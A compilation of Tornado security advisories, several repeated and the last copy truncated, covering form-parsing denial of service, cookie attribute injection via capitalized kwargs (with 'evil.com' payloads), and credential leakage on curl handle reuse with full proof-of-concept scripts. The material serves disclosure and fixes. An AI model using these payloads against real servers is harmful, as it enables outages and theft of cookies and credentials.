Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

The CVE-2026-35536 fix added a validation loop that rejects [\x00-\x20\x3b\x7f], but only for the hardcoded lowercase keys name/domain/path/samesite. The still-live deprecated **kwargs path writes attacker-supplied attribute values straight into the Morsel with no validation, and because Morsel.__setitem__ is case-insensitive, a capitalized kwarg (Domain=, Path=, SameSite=, Max-Age=) routes to the same reserved attribute while bypassing the loop — re-opening ;-delimited attribute injection.

self.set_cookie("sid", "abc", Domain="evil.com; Secure; SameSite=None")
#  -> Set-Cookie: sid=abc; Domain=evil.com; Secure; SameSite=None; Path=/
# Sanity (the canonical lowercase named arg IS blocked):
self.set_cookie("sid", "abc", domain="evil.com; Secure")   # -> http.cookies.CookieError

The patch's regression test (SetCookieForbiddenCharHandler) only exercises the four named params, never the **kwargs path, so the gap is not regression-covered.

Affected code

• tornado/web.py → RequestHandler.set_cookie: the validation loop covers only the lowercase named args; the trailing if kwargs: loop does morsel[k] = v with no character validation.

Steps to reproduce

GET /upper (uses Domain= kwarg) emits Set-Cookie: c_upper=v; Domain=evil.com; Secure; SameSite=None; Path=/; GET /lower (uses lowercase domain=) returns a CookieError.

Impact

Injection of independent cookie attributes (force/drop Secure/HttpOnly/SameSite, rebind Domain/Path) — the same impact CVE-2026-35536 closed, via the sibling path the patch missed. Conditional on the app using a capitalized/legacy keyword.

Suggested remediation

Apply the same [\x00-\x20\x3b\x7f] validation to every entry in the **kwargs loop (after normalizing the key case), or remove the deprecated kwargs path; add a regression test for capitalized kwargs.

Credit

Reported as part of an incomplete-patch measurement study (responsible disclosure).

Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

The CVE-2026-35536 fix added a validation loop that rejects [\x00-\x20\x3b\x7f], but only for the hardcoded lowercase keys name/domain/path/samesite. The still-live deprecated **kwargs path writes attacker-supplied attribute values straight into the Morsel with no validation, and because Morsel.__setitem__ is case-insensitive, a capitalized kwarg (Domain=, Path=, SameSite=, Max-Age=) routes to the same reserved attribute while bypassing the loop — re-opening ;-delimited attribute injection.

self.set_cookie("sid", "abc", Domain="evil.com; Secure; SameSite=None")
#  -> Set-Cookie: sid=abc; Domain=evil.com; Secure; SameSite=None; Path=/
# Sanity (the canonical lowercase named arg IS blocked):
self.set_cookie("sid", "abc", domain="evil.com; Secure")   # -> http.cookies.CookieError

The patch's regression test (SetCookieForbiddenCharHandler) only exercises the four named params, never the **kwargs path, so the gap is not regression-covered.

Affected code

• tornado/web.py → RequestHandler.set_cookie: the validation loop covers only the lowercase named args; the trailing if kwargs: loop does morsel[k] = v with no character validation.

Steps to reproduce

GET /upper (uses Domain= kwarg) emits Set-Cookie: c_upper=v; Domain=evil.com; Secure; SameSite=None; Path=/; GET /lower (uses lowercase domain=) returns a CookieError.

Impact

Injection of independent cookie attributes (force/drop Secure/HttpOnly/SameSite, rebind Domain/Path) — the same impact CVE-2026-35536 closed, via the sibling path the patch missed. Conditional on the app using a capitalized/legacy keyword.

Suggested remediation

Apply the same [\x00-\x20\x3b\x7f] validation to every entry in the **kwargs loop (after normalizing the key case), or remove the deprecated kwargs path; add a regression test for capitalized kwargs.

Credit

Reported as part of an incomplete-patch measurement study (responsible disclosure).

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy basic-auth credentials (PROXYUSERPWD) — both leaking to a different, unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free list for reuse (_process_queue pops the handle at line 200, _finish re-appends it at line 245), and _curl_setup_request is never preceded by curl.reset(). The function clears some carried-over state on the reused handle — unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD) when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing branch:

# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only inside the credentials branch and unset only in the no-proxy else branch:

# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

• Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
• Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
• Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
• Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)

Alternatively, add explicit clearing branches mirroring the existing PROXYUSERPWD/USERPWD handling:

# client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

# network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per distinct credential set (per client certificate / per proxy credential), or use SimpleAsyncHTTPClient where applicable.

Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

The CVE-2026-35536 fix added a validation loop that rejects [\x00-\x20\x3b\x7f], but only for the hardcoded lowercase keys name/domain/path/samesite. The still-live deprecated **kwargs path writes attacker-supplied attribute values straight into the Morsel with no validation, and because Morsel.__setitem__ is case-insensitive, a capitalized kwarg (Domain=, Path=, SameSite=, Max-Age=) routes to the same reserved attribute while bypassing the loop — re-opening ;-delimited attribute injection.

self.set_cookie("sid", "abc", Domain="evil.com; Secure; SameSite=None")
#  -> Set-Cookie: sid=abc; Domain=evil.com; Secure; SameSite=None; Path=/
# Sanity (the canonical lowercase named arg IS blocked):
self.set_cookie("sid", "abc", domain="evil.com; Secure")   # -> http.cookies.CookieError

The patch's regression test (SetCookieForbiddenCharHandler) only exercises the four named params, never the **kwargs path, so the gap is not regression-covered.

Affected code

• tornado/web.py → RequestHandler.set_cookie: the validation loop covers only the lowercase named args; the trailing if kwargs: loop does morsel[k] = v with no character validation.

Steps to reproduce

GET /upper (uses Domain= kwarg) emits Set-Cookie: c_upper=v; Domain=evil.com; Secure; SameSite=None; Path=/; GET /lower (uses lowercase domain=) returns a CookieError.

Impact

Injection of independent cookie attributes (force/drop Secure/HttpOnly/SameSite, rebind Domain/Path) — the same impact CVE-2026-35536 closed, via the sibling path the patch missed. Conditional on the app using a capitalized/legacy keyword.

Suggested remediation

Apply the same [\x00-\x20\x3b\x7f] validation to every entry in the **kwargs loop (after normalizing the key case), or remove the deprecated kwargs path; add a regression test for capitalized kwargs.

Credit

Reported as part of an incomplete-patch measurement study (responsible disclosure).

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.

Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.

This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.

Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Summary

Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy basic-auth credentials (PROXYUSERPWD) — both leaking to a different, unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free list for reuse (_process_queue pops the handle at line 200, _finish re-appends it at line 245), and _curl_setup_request is never preceded by curl.reset(). The function clears some carried-over state on the reused handle — unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD) when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing branch:

# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only inside the credentials branch and unset only in the no-proxy else branch:

# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
